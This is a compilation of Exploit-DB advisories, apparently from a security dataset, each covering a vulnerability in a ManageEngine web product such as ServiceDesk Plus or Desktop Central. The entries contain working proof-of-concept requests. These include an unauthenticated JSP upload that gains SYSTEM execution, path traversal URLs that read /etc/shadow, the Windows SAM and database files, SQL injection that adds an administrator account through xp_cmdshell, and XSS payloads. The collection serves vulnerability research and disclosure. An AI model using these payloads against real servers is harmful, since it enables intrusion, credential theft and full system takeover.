deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29674
Description: ManageEngine Desktop Central 8.0.0 build < 80293 - Arbitrary File Upload
Type: webapps
Platform: jsp
Date: 2013-11-18
Author: Security-Assessment.com

Exploit:
(    , )     (, 
  .   `.' ) ('.    ', 
   ). , ('.   ( ) ( 
  (_,) .`), ) _ _, 
 /  _____/  / _  \    ____  ____   _____ 
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \ 
 /       \/   |    \\  \__(  <_> )  Y Y  \ 
/______  /\___|__  / \___  >____/|__|_|  / 
        \/         \/.-.    \/         \/:wq 
                    (x.0) 
                  '=.|w|.=' 
                  _='`"``=. 

                presents.. 

DesktopCentral Arbitrary File Upload Vulnerability
Affected versions: DesktopCentral versions < 80293

PDF: http://security-assessment.com/files/documents/advisory/DesktopCentral%20Arbitrary%20File%20Upload.pdf

+-----------+ 
|Description| 
+-----------+ 

ManageEngine DesktopCentral 8.0.0 build 80293 and below suffer from an arbitrary file upload vulnerability that can be 
leveraged to gain arbitrary code execution on the server. The code run on the server in this fashion will execute as 
NT-AUTHORITY\SYSTEM.
The problem exists in the AgentLogUploadServlet. This servlet takes input from HTTP POST and constructs an output file 
on the server without performing any sanitisation or even checking if the caller is authenticated. Due to the way the 
path is constructed it is possible to traverse to the application web root and create a script file that will be 
executed when called from a web browser.

+------------+ 
|Exploitation| 
+------------+ 

POST/agentLogUploader?computerName=DesktopCentral&domainName=webapps&
customerId=..&filename=test.jsp HTTP/1.1
Host: <desktopcentral>:8020
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive
Content-Type: text/html;
Content-Length: 109

<HTML>
 <HEAD>
  <TITLE>Hello World</TITLE>
 </HEAD>
 <BODY>
  <H1>Hello World</H1>
 </BODY>
</HTML>

+----------+ 
| Solution | 
+----------+ 

Apply the patch supplied by the vendor (Patch 80293)

+-------------------+ 
|Disclosure Timeline| 
+-------------------+ 


20/10/2013 – Vulnerability discovered, vendor notified.
25/10/2013 – Vendor acknowledges issue
30/10/2013 - Vendor issues Patch 80293 that fixes the issue
09/11/2013 – Exploit demonstrated at Kiwicon 7
18/11/2013 – Advisory released.

+-----------------------------+ 
|About Security-Assessment.com| 
+-----------------------------+ 

Security-Assessment.com is a New Zealand based world 
leader in web application testing, network security 
and penetration testing. Security-Assessment.com 
services organisations across New Zealand, Australia, 
Asia Pacific, the United States and the United 
Kingdom. 

Security-Assessment.com is currently looking for skilled penetration 
testers. If you are interested, please email 'hr at security-assessment.com'
Exploit-DB #35910
Description: ManageEngine EventLog Analyzer 9.0 - Directory Traversal / Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2015-01-26
Author: Ertebat Gostar Co

Exploit:
 ################################################################################################
 #                                                                                              #
 #    ...:::::ManageEngine EventLog Analyzer Directory Traversal/XSS  Vulnerabilities::::....   #         
 # #############################################################################################


                                  Sobhan System Network & Security Group (sobhansys)
								      
-------------------------------------------------------
# Date: 2015-01-24
# Exploit Author: AmirHadi Yazdani (Sobhansys Co)
# Vendor Homepage: http://www.manageengine.com/products/eventlog/
# Demo Link: http://demo.eventloganalyzer.com/event/index3.do
#Affected version: <= Build Version  : 9.0

About ManageEngine EventLog Analyzer (From Vendor Site) :									  
EventLog Analyzer provides the most cost-effective Security Information and Event Management (SIEM) software on the market.
Using this Log Analyzer software, organizations can automate 
the entire process of managing terabytes of machine generated logs by collecting, analyzing, correlating, searching, reporting,
and archiving from one central location. 
This event log analyzer software helps to monitor file integrity, conduct log forensics analysis,
monitor privileged users and comply to different compliance regulatory bodies
by intelligently analyzing your logs and instantly generating a variety of reports like user activity reports, historical trend reports, and more.
--------------------------------------------------------

									  
I'M hadihadi From Virangar Security Team

special tnx to:MR.nosrati,black.shadowes,MR.hesy
& all virangar members & all hackerz

greetz to My friends In Signal IT Group (www.signal-net.net) & A.Molaei

spl:Z.Khodaee

-------
exploit:

Diretory Traversal :

http://127.0.0.1/event/index2.do?helpP=userReport&overview=true&tab=report&url=../../WEB-INF/web.xml%3f
http://127.0.0.1/event/index2.do?completeData=true&helpP=archiveAction&tab=system&url=../../WEB-INF/web.xml%3f
http://127.0.0.1/event/index2.do?helpP=fim&link=0&sel=13&tab=system&url=../../WEB-INF/web.xml%3f

XSS :

http://127.0.0.1/event/index2.do?helpP=userReport&overview=true&tab=report&url=userReport'%22()%26%25<ahy><ScRiPt%20>prompt(915375)</ScRiPt>
http://127.0.0.1/event/index2.do?helpP=fim&link=0&sel=13'%22()%26%25<ahy><ScRiPt%20>prompt(978138)</ScRiPt>&tab=system&url=ConfigureTemplate


----
Sobhan system Co.
Signal Network And Security Group (www.signal-net.net)

E-mail: amirhadi.yazdani@gmail.com,a.h.yazdani@signal-net.net
Exploit-DB #11793
Description: ManageEngine ServiceDesk Plus 7.6 - woID SQL Injection
Type: webapps
Platform: jsp
Date: 2010-03-18
Author: Nahuel Grisolia

Exploit:
Advisory Name: SQL injection in Manage Engine Service Desk Plus 7.6
Vulnerability Class: SQL injection
Release Date: 03-18-2010
Affected Applications: Confirmed in version 7.6. Other versions may also be affected.
Affected Platforms: Multiple
Local / Remote: Remote
Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Researcher: Nahuel Grisolía
Vendor Status: Acknowledged. Not fixed.

Vulnerability Description:
A Vulnerability has been discovered in Manage Engine Service Desk Plus, which can be exploited by
malicious people to conduct SQL injection attacks.
Input passed via the "woID" parameter to WorkOrder.do is not properly sanitized before being used in
a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The vulnerability is confirmed in version 7.6. Other versions may also be affected.


Proof of Concept:
Microsoft Windows Environment with MySQL:
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=WorkOrder.WORKORDERID=6)
union select 1,2,3,4,5,6,7,8,load_file("c:\\boot.ini"),10,11,12,13,14,15,16,17,18,19,1 into dumpfile
'C:\\ManageEngine\\ServiceDesk\\applications\\extracted\\AdventNetServiceDesk.eear\\AdventNetSer
viceDeskWC.ear\\AdventNetServiceDesk.war\\images\\boot.ini'/*
then browse, http://x.x.x.x:8080/images/boot.ini

Microsoft Windows Environment with MSSQL:
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1); EXEC xp_cmdshell 'net user
moebius m03biu5inj3ct$ /add';--
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1); EXEC xp_cmdshell 'net localgroup
administrators moebius /add';--

GNU/Linux with MySQL:
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1%29%20union%20select%201,2,3,4,5,
6,7,8,load_file%28%27/etc/passwd%27%29,10,11,12,13,14,15,16,17,18,19,20%20into%20dumpfile%
20%27/home/moebius/ManageEngine/ServiceDesk/applications/extracted/AdventNetServiceDesk.eear
/AdventNetServiceDeskWC.ear/AdventNetServiceDesk.war/images/passwd.txt%27/*
then browse, http://x.x.x.x:8080/images/passwd.txt


Impact: Execute arbitrary SQL queries.
Solution: Not fixed.
Vendor Response:
First contact on January 12, 2010. Last contact on March 15, 2010. They won’t fix this issue in the upcoming hotfix. I consider that 2 months is a really long time to fix this kind of High priority issue.
The vendor knows that this advisory will be released. No more contact since then.


Contact Information: 
For more information regarding the vulnerability feel free to contact the researcher at nahuel.grisolia <at> gmail <dot> com
Exploit-DB #17437
Description: ManageEngine ServiceDesk Plus 8.0 - Directory Traversal
Type: webapps
Platform: jsp
Date: 2011-06-23
Author: Keith Lee

Exploit:
Google Dork:	ie: intitle:ManageEngine ServiceDesk Plus"
Author:		Keith Lee (keith.lee2012@gmail.com), @keith55,
http://milo2012.wordpress.com
Software Link:	http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
Version:	8.0

Description:

Directory traversal vulnerabilities has been found in ManageEngine
ServiceDesk Plus 8.0 a web
based helpdesk system written in Java.

The vulnerability can be exploited to access local files by entering
special characters in variables used to create file paths. The attackers
use �../� sequences to move up to root directory, thus permitting
navigation through the file system.

Request:
GET http://[webserver
IP]:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\windows\repair\SAM

The issue is fixed with Service Pack Build 8012 found in the below link.
http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus_8_0_0_SP-0_12_0.ppm


-- 
Keith

Blog: http://www.milo2012.wordpress.com
Twitter: @keith55
Exploit-DB #17713
Description: ManageEngine ServiceDesk Plus 8.0 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2011-08-23
Author: LiquidWorm

Exploit:
ManageEngine ServiceDesk Plus 8.0 Multiple Stored XSS Vulnerabilities


Vendor: Zoho Corporation Pvt. Ltd.
Product web page: http://www.manageengine.com
Affected version: 8.0.0 Build 8013 (Enterprise)

Summary: ServiceDesk Plus integrates your help desk requests
and assets to help you manage your IT effectively. It helps
you implement ITIL best practices and troubleshoot IT service
requests faster. ServiceDesk Plus is a highly customizable,
easy-to-implement help desk software.

Desc: The application suffers from multiple stored XSS
vulnerabilities. Input thru several parameters is not
sanitized allowing the attacker to execute HTML code
into user's browser session on the affected site. Also,
couple of HTTP header elements are vulnerable to XSS.

Tested on: Microsoft Windows XP Professional SP3 (English)
           Apache-Coyote/1.1
           Java Servlet 2.4
           Tomcat-5.0.28/JBoss-3.2.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk


Vendor status:

[23.07.2011] Vulnerabilities discovered.
[26.07.2011] Vendor contacted.
[26.07.2011] Vendor replies asking more details.
[26.07.2011] Sent vulnerability details to vendor.
[26.07.2011] Vendor confirms XSS issues assigning Issue ID: SD-39838.
[01.08.2011] Requested status update from vendor.
[02.08.2011] Vendor replies.
[03.08.2011] Working with the vendor.
[08.08.2011] Asked vendor for scheduled patch release date.
[08.08.2011] Vendor replies.
[09.08.2011] Working with the vendor.
[16.08.2011] Vendor releases build 8015 to address these issues.
[23.08.2011] Public security advisory released.



Advisory ID: ZSL-2011-5039
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5039.php

Vendor Advisory: http://www.manageengine.com/products/service-desk/readme-8.0.html#8.7


23.07.2011


----


Stored XSS (post-auth):

Param: reqName (POST)
Scripts: WorkOrder.do, Problems.cc, AddNewProblem.cc, ChangeDetails.cc (http://localhost:8080/common/UpdateField.jsp)

Params: reqName, description, level, priority, category, title, attach (POST)
Script: WorkOrder.do

Params: keywords, comments (POST)
Script: AddSolution.do

Params: supportDetails, contractName, comments (POST)
Script: ContractDef.do

Param: organizationName (POST)
Script: VendorDef.do

Param: COMMENTS (POST)
Script: MarkUnavailability.jsp (MySchedule.do)


Attack string: "><script>alert(1)</script>

--


HTTP Header XSS:

Elements: referer, accept-language 
Scripts: HomePage.do, MySchedule.do, WorkOrder.do

------------
GET /HomePage.do HTTP/1.0
Accept: */*
User-Agent: joxy-poxy
Host: localhost:8080
Cookie: JSESSIONID=AD4D28ADDB611A3DE6EAC2C6B4C8808E;JSESSIONIDSSO=B1F6034451E9457EEEF3DA09BA424247
Connection: Close
accept-language: 1<script>alert(1)</script>
Pragma: no-cache
------------
Exploit-DB #35890
Description: ManageEngine ServiceDesk Plus 9.0 - SQL Injection
Type: webapps
Platform: jsp
Date: 2015-01-22
Author: Muhammad Ahmed Siddiqui

Exploit:
================================================================================

[REWTERZ-20140101] - Rewterz - Security Advisory

================================================================================

Title: ManageEngine ServiceDesk SQL Injection Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: High
Advisory ID: REWTERZ-20140101
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-sql-injection-vulnerability

================================================================================


Product Introduction
================

ServiceDesk Plus is a help desk software with integrated asset and
project management built on the ITIL framework. It is available in 29
different languages and is used by more than 85,000 companies, across
186 countries, to manage their IT help desk and assets.

Source: http://www.manageengine.com/products/service-desk/


Vulnerability Information
==================

Class: SQL Injection Vulnerability
Impact: An Authenticated user could exploit this vulnerability to gain
complete system access.
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A


Vulnerability Description
==================

CreateReportTable.jsp page is prone to SQL injection via site
variable. A user with limited privileges could exploit this
vulnerability to gain complete database/system access.


Proof-of-Concept
=============

Postgres DB:

http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND
3133=(SELECT 3133 FROM PG_SLEEP(1))


MySQL DB:

http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND UNION
ALL SELECT user(),NULL,NULL,NULL,NULL


Timeline
======

23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor


About Rewterz
===========

Rewterz is a boutique Information Security company, committed to
consistently providing world class professional security services. Our
strategy revolves around the need to provide round-the-clock quality
information security services and solutions to our customers. We
maintain this standard through our highly skilled and professional
team, and custom-designed, customer-centric services and products.

http://www.rewterz.com

Complete list of vulnerability advisories published by Rewterz:

http://www.rewterz.com/resources/security-advisories
Exploit-DB #35904
Description: ManageEngine ServiceDesk Plus 9.0 < Build 9031 - User Privileges Management
Type: webapps
Platform: jsp
Date: 2015-01-26
Author: Rewterz - Research Group

Exploit:
================================================================================
[REWTERZ-20140103] - Rewterz - Security Advisory
================================================================================

Title: ManageEngine ServiceDesk Plus User Privileges Management Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: Low
Advisory ID: REWTERZ-20140103
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-privileges-management-vulnerability

================================================================================


Product Introduction
===============

ServiceDesk Plus is a help desk software with integrated asset and
project management built on the ITIL framework. It is available in 29
different languages and is used by more than 85,000 companies, across
186 countries, to manage their IT help desk and assets.


Source: http://www.manageengine.com/products/service-desk/


Vulnerability Information
===================

Class: Improper Privilege Management
Impact: Low privileged user can access application data
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A


Vulnerability Description
==================

A user with limited privileges could gain access to certain
functionality that is available only to administrative users. For
example, users with Guest privileges can see the subjects of the
tickets, stats and other information related to tickets.


Proof-of-Concept
=============

http://127.0.0.1:8080/servlet/AJaxServlet?action=getTicketData&search=dateCrit

http://127.0.0.1:8080/swf/flashreport.swf

http://127.0.0.1:8080/reports/flash/details.jsp?group=Site

http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0



Timeline
======

23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor


About Rewterz
===========

Rewterz is a boutique Information Security company, committed to
consistently providing world class professional security services. Our
strategy revolves around the need to provide round-the-clock quality
information security services and solutions to our customers. We
maintain this standard through our highly skilled and professional
team, and custom-designed, customer-centric services and products.

http://www.rewterz.com


Complete list of vulnerability advisories published by Rewterz:

http://www.rewterz.com/resources/security-advisories
Exploit-DB #38395
Description: ManageEngine ServiceDesk Plus 9.1 build 9110 - Directory Traversal
Type: webapps
Platform: jsp
Date: 2015-10-05
Author: xistence

Exploit:
Exploit Title: ManageEngine ServiceDesk Plus <= 9.1 build 9110 - Path
Traversal
Product: ManageEngine ServiceDesk Plus
Vulnerable Versions: 9.1 build 9110 and previous versions
Tested Version: 9.1 build 9110 (Windows)
Advisory Publication: 03/10/2015
Vulnerability Type: Unauthenticated Path Traversal
Credit: xistence <xistence[at]0x90.nl>

Product Description
-------------------

ServiceDesk Plus is an ITIL ready IT help desk software for organizations
of all sizes. With advanced ITSM functionality and easy-to-use capability,
ServiceDesk Plus helps IT support teams deliver world-class services to end
users with reduced costs and complexity. Over 100,000 organizations across
185 countries trust ServiceDesk Plus to optimize IT service desk
performance and achieve high user satisfaction.


Vulnerability Details
---------------------

The "fName" parameter is vulnerable to path traversal without the need for
any authentication.
On Windows environments, downloading files will be done with SYSTEM
privileges. This makes it possible to download any file on the filesystem.

The following example will download the "win.ini" file:

$ curl "
http://192.168.2.129:8080/workorder/FileDownload.jsp?module=support&fName=..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo


Solution
--------

Upgrade to ServiceDesk 9.1 build 9111.


Advisory Timeline
-----------------

07/10/2015 - Discovery and vendor notification
07/10/2015 - ManageEngine responsed that they will notify their development
team
09/13/2015 - No response from vendor yet, asked for status update
09/24/2015 - ManageEngine responded that they've fixed the issue and
assigned issue ID: SD-60283
09/28/2015 - Fixed ServiceDesk Plus version 9.1 build 9111 has been released
10/03/2015 - Public disclosure
Exploit-DB #17442
Description: ManageEngine Support Center Plus 7.8 Build 7801 - Directory Traversal
Type: webapps
Platform: jsp
Date: 2011-06-23
Author: xistence

Exploit:
Advisory:
ManageEngine Support Center Plus 7.8 build <= 7801 Directory Traversal Vulnerability

Author:
Robert 'xistence' van Hamburg - xistence<AT>0x90.nl

Software link:
http://www.manageengine.com/products/support-center/download.html

Tested on:
Linux & Windows

Category:
Directory Traversal

Severity:
High

Google Dork: intitle:ManageEngine SupportCenter Plus

Description:

It's possible to access all local files on the server and because Support Center Plus runs as root/Administrator by default it's possible to access files owned by superusers too.
This for example makes it possible to grab for the "/etc/shadow" file on a linux box.
An authenticated user on the helpdesk is not needed, so any attacker can exploit this vulnerability without credentials.

Requests Linux:

Grab the /etc/passwd & /etc/shadow:

http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=passwd&module=Request&ID=1&path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=shadow&module=Request&ID=1&path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow&delete=false

In a default situation the databasename is "supportcenter" and so it's easy to retrieve the database files like this:

http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ibdata1&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fibdata1&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ib_logfile0&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fib_logfile0&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ib_logfile1&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fib_logfile1&delete=false

http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=aaapassword.frm&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fsupportcenter%2Faaapassword.frm&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=aaauser.frm&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fsupportcenter%2Faaauser.frm&delete=false


Requests Windows:

Hosts file:
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=hosts&module=Request&ID=1&path=..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&delete=false

Explorer.exe:
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=explorer.exe&module=Request&ID=1&path=..\..\..\..\..\..\Windows\explorer.exe&delete=false

MySQL database ibdata1 file:
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ibdata1&module=Request&ID=1&path=..\..\mysql\data\ibdata1&delete=false


Disclosure:
- May 30 2011, vulnerability found
- May 30 2011, contacted vendor (ManageEngine) about security issues
- Jun 1 2011, vulnerability fixed by vendor (ManageEngine) and released as patch 7803